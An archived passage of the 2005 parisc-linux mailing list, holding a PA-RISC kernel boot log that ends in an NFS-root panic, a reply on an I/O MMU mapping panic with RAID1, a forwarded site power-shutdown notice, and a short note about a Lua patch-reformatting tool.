Setting cache flush threshold to 2606f40 (4 CPUs online)
SBA found Pluto 2.3 at 0xfffffffffed00000
LBA version TR3.2 (0x32) found at 0xfffffffffed20000
LBA version TR3.2 (0x32) found at 0xfffffffffed22000
LBA version TR3.2 (0x32) found at 0xfffffffffed24000
LBA version TR3.2 (0x32) found at 0xfffffffffed26000
LBA version TR3.2 (0x32) found at 0xfffffffffed28000
LBA version TR3.2 (0x32) found at 0xfffffffffed2c000
LBA version TR3.2 (0x32) found at 0xfffffffffed2e000
FAILED: lba_fixup_bus() request for lmmio_space [fffffffff0000000/fffffffffecffffe]
SCSI subsystem initialized
unwind_init: start = 0x1043f160, end = 0x1045da10, entries = 7819
Performance monitoring counters enabled for Storm Peak Fast
Initializing Cryptographic API
PDC Stable Storage facility v0.04
Soft power switch support not available.
Generic RTC Driver v1.07
Serial: 8250/16550 driver $Revision: 1.90 $ 17 ports, IRQ sharing enabled
ttyS0 at MMIO 0xfffffffff4051000 (irq = 25) is a 16550A
ttyS1 at MMIO 0xfffffffff4050000 (irq = 25) is a 16550A
ttyS2 at MMIO 0xfffffffff4050010 (irq = 25) is a 16550A
ttyS3 at MMIO 0xfffffffff4050038 (irq = 25) is a 16550A
io scheduler noop registered
io scheduler anticipatory registered
io scheduler deadline registered
io scheduler cfq registered
RAMDISK driver initialized: 16 RAM disks of 6144K size 1024 blocksize
loop: loaded (max 8 devices)
sym0: <1010-66> rev 0x1 at pci 0000:20:01.0 irq 22
sym0: PA-RISC Firmware, ID 7, Fast-80, LVD, parity checking
sym0: SCSI BUS has been reset.
scsi0 : sym-2.1.18n
elevator: using anticipatory as default io scheduler
  Vendor: HP 73.4G  Model: ST373453LC        Rev: HPC3
  Type:   Direct-Access                      ANSI SCSI revision: 03
sym0:0:0: tagged command queuing enabled, command queue depth 16.
 target0:0:0: Beginning Domain Validation
sym0:0: wide asynchronous.
sym0:0: FAST-80 WIDE SCSI 160.0 MB/s DT (12.5 ns, offset 62)
 target0:0:0: Ending Domain Validation
  Vendor: HP 73.4G  Model: ST373453LC        Rev: HPC3
  Type:   Direct-Access                      ANSI SCSI revision: 03
sym0:1:0: tagged command queuing enabled, command queue depth 16.
 target0:0:1: Beginning Domain Validation
sym0:1: wide asynchronous.
sym0:1: FAST-80 WIDE SCSI 160.0 MB/s DT (12.5 ns, offset 62)
 target0:0:1: Ending Domain Validation
sym1: <1010-66> rev 0x1 at pci 0000:20:01.1 irq 23
sym1: PA-RISC Firmware, ID 7, Fast-80, LVD, parity checking
sym1: SCSI BUS has been reset.
scsi1 : sym-2.1.18n
sym1:0:0: ABORT operation started.
sym1:0:0: ABORT operation timed-out.
sym1:0:0: DEVICE RESET operation started.
sym1:0:0: DEVICE RESET operation timed-out.
sym1:0:0: BUS RESET operation started.
sym1:0:0: BUS RESET operation timed-out.
sym1:0:0: HOST RESET operation started.
sym1: SCSI BUS has been reset.
sym1:0:0: HOST RESET operation timed-out.
scsi: Device offlined - not ready after error recovery: host 1 channel 0 id 0 lun 0
sym1:1:0: ABORT operation started.
sym1:1:0: ABORT operation timed-out.
sym1:1:0: DEVICE RESET operation started.
sym1:1:0: DEVICE RESET operation timed-out.
sym1:1:0: BUS RESET operation started.
sym1:1:0: BUS RESET operation timed-out.
sym1:1:0: HOST RESET operation started.
sym1: SCSI BUS has been reset.
sym1:1:0: HOST RESET operation timed-out.
scsi: Device offlined - not ready after error recovery: host 1 channel 0 id 1 lun 0
sym1:2:0: ABORT operation started.
sym1:2:0: ABORT operation timed-out.
sym1:2:0: DEVICE RESET operation started.
sym1:2:0: DEVICE RESET operation timed-out.
sym1:2:0: BUS RESET operation started.
sym1:2:0: BUS RESET operation timed-out.
sym1:2:0: HOST RESET operation started.
sym1: SCSI BUS has been reset.
sym1:2:0: HOST RESET operation timed-out.
scsi: Device offlined - not ready after error recovery: host 1 channel 0 id 2 lun 0
sym1:3:0: ABORT operation started.
sym1:3:0: ABORT operation timed-out.
sym1:3:0: DEVICE RESET operation started.
sym1:3:0: DEVICE RESET operation timed-out.
sym1:3:0: BUS RESET operation started.
sym1: SCSI BUS reset detected.
sym1: SCSI BUS has been reset.
sym1:3:0: BUS RESET operation complete.
sym1:3:0: HOST RESET operation started.
sym1: SCSI BUS has been reset.
sym1:3:0: HOST RESET operation complete.
scsi: Device offlined - not ready after error recovery: host 1 channel 0 id 3 lun 0
st: Version 20041025, fixed bufsize 32768, s/g segs 256
SCSI device sda: 143374738 512-byte hdwr sectors (73408 MB)
SCSI device sda: drive cache: write through
SCSI device sda: 143374738 512-byte hdwr sectors (73408 MB)
SCSI device sda: drive cache: write through
 sda: sda1 sda2 sda3
Attached scsi disk sda at scsi0, channel 0, id 0, lun 0
SCSI device sdb: 143374738 512-byte hdwr sectors (73408 MB)
SCSI device sdb: drive cache: write through
SCSI device sdb: 143374738 512-byte hdwr sectors (73408 MB)
SCSI device sdb: drive cache: write through
 sdb: sdb1 sdb2
Attached scsi disk sdb at scsi0, channel 0, id 1, lun 0
Attached scsi generic sg0 at scsi0, channel 0, id 0, lun 0,  type 0
Attached scsi generic sg1 at scsi0, channel 0, id 1, lun 0,  type 0
md: linear personality registered as nr 1
md: raid0 personality registered as nr 2
md: raid1 personality registered as nr 3
md: md driver 0.90.1 MAX_MD_DEVS=256, MD_SB_DISKS=27
NET: Registered protocol family 2
IP: routing cache hash table of 8192 buckets, 192Kbytes
TCP established hash table entries: 131072 (order: 10, 4194304 bytes)
TCP bind hash table entries: 65536 (order: 8, 1572864 bytes)
TCP: Hash tables configured (established 131072 bind 65536)
NET: Registered protocol family 1
NET: Registered protocol family 17
IP-Config: No network devices available.
md: Autodetecting RAID arrays.
md: autorun ...
md: ... autorun DONE.
Looking up port of RPC 100003/2 on 192.168.1.61
RPC: sendmsg returned error 229
portmap: RPC call returned error 229
Root-NFS: Unable to get nfsd port number from server, using default
Looking up port of RPC 100005/1 on 192.168.1.61
RPC: sendmsg returned error 229
portmap: RPC call returned error 229
Root-NFS: Unable to get mountd port number from server, using default
RPC: sendmsg returned error 229
mount: RPC call returned error 229
Root-NFS: Server returned error -229 while mounting /home/tftpboot/ion
VFS: Unable to mount root fs via NFS, trying floppy.
VFS: Cannot open root device "nfs" or unknown-block(2,0)
Please append a correct "root=" boot option
Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(2,0)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: 2.6.... b2k panic with raid1 :-( (I/O MMU ...
	out of mapping ressources)
Date: Thu, 20 Jan 2005 23:08:56 -0700
Lines: 32
Approved: news@gmane.org
Message-ID: <20050121060856.GJ6582@colo.lackof.org>
References: <41DE61B800004297@mail-8-bnl.mail.tiscali.sys>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623658 12612 80.91.229.3 (22 Nov 2014 02:34:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Jan 2005 06:09:07 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx051) with SMTP; 21 Jan 2005 07:09:07 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A19E23BE73; Thu, 20 Jan 2005 23:09:05 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09510-10; Thu, 20 Jan 2005 23:09:05 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 320E43BE77; Thu, 20 Jan 2005 23:08:59 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 25E893BE73
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Jan 2005 23:08:54 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 09510-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Jan 2005 23:08:53 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 2939B3BE71
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Jan 2005 23:08:53 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 9102A298028;
	Thu, 20 Jan 2005 23:08:56 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07361-08; Thu, 20 Jan 2005 23:08:56 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 35D5029800F; Thu, 20 Jan 2005 23:08:56 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <41DE61B800004297@mail-8-bnl.mail.tiscali.sys>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22314

On Thu, Jan 20, 2005 at 11:51:00AM +0100, Joel Soete wrote:
> Hello all,
> 
> Since this morning I mirrored my disks (1 9Gb on 1 36Gb) but as soon as I
> try to 'apt-get update' the system now panic:
> 
> Kernel panic - not syncing: /CAD/linux-2.6.11-rc1-pa3/drivers/parisc/sba_iommu.c:
> I/O MMU @ fed20000 is out of mapping resources

Yes - this has been the expected behavior since ~1999.

The basic problem can be addressed by modifying the drivers that use DMA
services to also check dma_mapping_error() (or pci_dma_mapping_error()
if one prefers). I'll need to add some code to
include/asm-parisc/dma-mapping.h to provide support for failed mappings
before I can remove the panic. This won't happen soon unfortunately.

> I just find a work around: mark a slice failed (mdadm --fail /dev/sda10)
> and I can now doing my 'apt-get update'

Good idea - that just cut in half the number of mappings needed.

thanks for the report and feel free to remind in a few weeks about
this again.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [Fwd: [LOSL] Power Shutdown - Janurary 28th - 30th]
Date: Thu, 20 Jan 2005 16:34:59 -0700
Lines: 110
Approved: news@gmane.org
Message-ID: <1106264099.14682.21.camel@krebs.dannf>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="=-Fjwkcmcq/HGfvwVTBxZe"
X-Trace: ger.gmane.org 1416623659 12615 80.91.229.3 (22 Nov 2014 02:34:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:19 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Jan 2005 23:34:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx049) with SMTP; 21 Jan 2005 00:34:01 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id BE2F93BE6F; Thu, 20 Jan 2005 16:33:54 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06021-04; Thu, 20 Jan 2005 16:33:54 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 14CDE3BE71; Thu, 20 Jan 2005 16:33:33 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3DAF63BE6D
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Jan 2005 16:33:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 06021-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Jan 2005 16:33:28 -0700 (MST)
Original-Received: from atlrel8.hp.com (atlrel8.hp.com [156.153.255.206])
	by free.linux.hp.com (Postfix) with ESMTP id 284103BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Jan 2005 16:33:28 -0700 (MST)
Original-Received: from smtp2.fc.hp.com (smtp.fc.hp.com [15.15.136.253])
	by atlrel8.hp.com (Postfix) with ESMTP id D7CB61F8F
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Jan 2005 18:33:27 -0500 (EST)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by smtp2.fc.hp.com (Postfix) with ESMTP id 8F7BC41EAE4
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Jan 2005 16:33:27 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by ldl.fc.hp.com (Postfix) with ESMTP id 6D0071341E1
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Jan 2005 16:33:27 -0700 (MST)
Original-Received: from ldl.fc.hp.com ([127.0.0.1])
	by localhost (ldl [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 12835-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Jan 2005 16:33:26 -0700 (MST)
Original-Received: from krebs.dannf (lart.fc.hp.com [15.11.146.31])
	by ldl.fc.hp.com (Postfix) with ESMTP id 87DA61341DF
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Jan 2005 16:33:26 -0700 (MST)
X-Mailer: Evolution 2.0.3 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at ldl.fc.hp.com
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22315


--=-Fjwkcmcq/HGfvwVTBxZe
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

This affects *.parisc-linux.org.


--=-Fjwkcmcq/HGfvwVTBxZe
Content-Disposition: inline
Content-Description: Forwarded message - [LOSL] Power Shutdown - Janurary
	28th - 30th
Content-Type: message/rfc822

Return-Path: <ldl-bounces@ldl.fc.hp.com>
X-Original-To: dannf@ldl.fc.hp.com
Delivered-To: dannf@ldl.fc.hp.com
Received: from localhost (localhost [127.0.0.1]) by ldl.fc.hp.com (Postfix)
	with ESMTP id 33CF01341E5; Thu, 20 Jan 2005 15:57:03 -0700 (MST)
Received: from ldl.fc.hp.com ([127.0.0.1]) by localhost (ldl [127.0.0.1])
	(amavisd-new, port 10024) with ESMTP id 05921-01;
	Thu, 20 Jan 2005 15:57:02 -0700 (MST)
Received: from smtp2.fc.hp.com (smtp.fc.hp.com [15.15.136.253]) by
	ldl.fc.hp.com (Postfix) with ESMTP id 36E8E1341DF; Thu, 20 Jan 2005
	15:57:02 -0700 (MST)
Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30]) by
	smtp2.fc.hp.com (Postfix) with ESMTP id 9787D41E977; Thu, 20 Jan 2005
	15:56:57 -0700 (MST)
Received: from localhost (localhost [127.0.0.1]) by ldl.fc.hp.com (Postfix)
	with ESMTP id 225081341E3; Thu, 20 Jan 2005 15:56:57 -0700 (MST)
Received: from ldl.fc.hp.com ([127.0.0.1]) by localhost (ldl [127.0.0.1])
	(amavisd-new, port 10024) with ESMTP id 05064-10;
	Thu, 20 Jan 2005 15:56:56 -0700 (MST)
Received: from ldl.lart (localhost [127.0.0.1]) by ldl.fc.hp.com (Postfix)
	with ESMTP id D112C1341DF; Thu, 20 Jan 2005 15:56:55 -0700 (MST)
X-Original-To: ldl@ldl.fc.hp.com
Delivered-To: ldl@ldl.fc.hp.com
Received: from localhost (localhost [127.0.0.1]) by ldl.fc.hp.com (Postfix)
	with ESMTP id BD6FF1341E1 for <ldl@ldl.fc.hp.com>; Thu, 20 Jan 2005
	15:56:53 -0700 (MST)
Received: from ldl.fc.hp.com ([127.0.0.1]) by localhost (ldl [127.0.0.1])
	(amavisd-new, port 10024) with ESMTP id 05265-01 for
	<ldl@ldl.fc.hp.com>; Thu, 20 Jan 2005 15:56:53 -0700 (MST)
Received: from rifts (lart.fc.hp.com [15.11.146.31]) by ldl.fc.hp.com
	(Postfix) with ESMTP id E36BF1341DF for <ldl@ldl.fc.hp.com>; Thu, 20 Jan
	2005 15:56:52 -0700 (MST)
Received: by rifts (Postfix, from userid 20817) id 9503E9AD3F; Thu, 20 Jan
	2005 15:56:52 -0700 (MST)
From: Ryan Fuerst <ryan.fuerst@hp.com>
Organization: LOSL
To: ldl@ldl.fc.hp.com
Date: Thu, 20 Jan 2005 15:56:52 -0700
User-Agent: KMail/1.6.2
MIME-Version: 1.0
Content-Disposition: inline
Content-Type: text/plain; charset="us-ascii"
Message-Id: <200501201556.52440.ryan.fuerst@hp.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at ldl.fc.hp.com
Subject: [LOSL] Power Shutdown - Janurary 28th - 30th
X-BeenThere: ldl@linux.fc.hp.com
X-Mailman-Version: 2.1.5
Precedence: list
Reply-To: ryan.fuerst@hp.com
List-Id: list for LOSL employees only <ldl.linux.fc.hp.com>
List-Unsubscribe: <http://linux.fc.hp.com/cgi-bin/mailman/listinfo/ldl>,
	<mailto:ldl-request@linux.fc.hp.com?subject=unsubscribe>
List-Archive: <http://linux.fc.hp.com/cgi-bin/mailman/private/ldl>
List-Post: <mailto:ldl@linux.fc.hp.com>
List-Help: <mailto:ldl-request@linux.fc.hp.com?subject=help>
List-Subscribe: <http://linux.fc.hp.com/cgi-bin/mailman/listinfo/ldl>,
	<mailto:ldl-request@linux.fc.hp.com?subject=subscribe>
Sender: ldl-bounces@linux.fc.hp.com
Errors-To: ldl-bounces@linux.fc.hp.com
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at ldl.fc.hp.com
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at ldl.fc.hp.com
Content-Transfer-Encoding: 7bit

Reminder 
Power at the Fort Collins Site will be shutdown Friday January 28th @ 5pm MST 
until midnight Sunday.  This will effect all machines currently hosted or up 
and running in Fort Collins.

If you have any questions let me know.

Ryan

-- 
Ryan Fuerst
ryan.fuerst@hp.com
970-898-0817
Linux & Open Source Lab
Kemtah
_______________________________________________
LDL mailing list
LDL@linux.fc.hp.com
http://linux.fc.hp.com/cgi-bin/mailman/listinfo/ldl

--=-Fjwkcmcq/HGfvwVTBxZe
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--=-Fjwkcmcq/HGfvwVTBxZe--



From - Thu Nov 08 21:32:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@wolfbutter.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: prezeroing patch test against 2.6.11-rc2-pa0
Date: Sun, 23 Jan 2005 08:36:25 -0600
Lines: 41
Approved: news@gmane.org
Message-ID: <200501230836.26024.mszick@wolfbutter.com>
References: <41DE941B00001965@mail-6-bnl.tiscali.it>
	<41F2E78B.5070908@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-2022-jp"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623659 12618 80.91.229.3 (22 Nov 2014 02:34:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:19 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Jan 2005 14:37:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx059) with SMTP; 23 Jan 2005 15:37:32 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 057393BE68; Sun, 23 Jan 2005 07:37:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07370-09; Sun, 23 Jan 2005 07:37:29 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 186453BE6B; Sun, 23 Jan 2005 07:37:00 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D421B3BE68
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jan 2005 07:36:55 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 07345-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jan 2005 07:36:55 -0700 (MST)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 8E2133BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jan 2005 07:36:54 -0700 (MST)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.12.9p2/8.12.9) with SMTP id
	j0NEarnJ090375 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jan 2005 06:36:54 -0800 (PST)
	(envelope-from mszick@wolfbutter.com)
Original-Received: from [67.77.77.241] (via account 20976)
	by mx-out.daemonmail.net with ESMTP id Q6n3Nhp5
	authenticated by SMTP; Sun, 23 Jan 2005 06:36:53 -0800 (PST)
User-Agent: KMail/1.7.1
In-Reply-To: <41F2E78B.5070908@tiscali.be>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22316

On Sat January 22 2005 17:53, Joel Soete wrote:
> Just an update to mentioned that the last Christoph's patch against our 2.6.11-rc2-pa0 (with some small ack) boot fine on my c110:
> # ps -ef | grep scr
> root        10     1  0 00:38 ?        00:00:04 [kscrubd0]
>   :-)
>
Joel,
That sounds good.  I haven't been watching for newer patches.

I have been working on my patch de-mangler.

It has been slow going because I have never used Lua before.
I have had it on my to-do list of things to learn for several years.

I started out just to correct indentation whitespace...

Now it also reformats bad hunk headers 
and re-writes incorrect hunk headers.

Both with informative messages to the user.  None of that:
"Malformed patch" and exit.  
Which is what the patch program does.

I have a couple more small changes to make, but it is working
pretty well now.

Given a 643,000+ line patchfile (21 Mbyte) it takes about 
10 seconds to re-write it.
With a reasonable sized patchfile, you can't even notice
it's run time.

So it has been fun, even if we don't need it for Christoph's
old patchfiles.

Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Lameter <clameter@sgi.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: prezeroing patch test against 2.6.11-rc2-pa0 [Was:
	copy_user_page_asm
	suggested 64bit improvment [Was: [parisc-linux] clear user page test]]
Date: Mon, 24 Jan 2005 08:34:12 -0800 (PST)
Lines: 92
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0501240833040.15963@schroedinger.engr.sgi.com>
References: <41DE941B00001965@mail-6-bnl.tiscali.it>
	<41F2E78B.5070908@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1416623659 12619 80.91.229.3 (22 Nov 2014 02:34:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:19 +0000 (UTC)
Cc: "Michael S. Zick" <mszick@wolfbutter.com>,
 parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
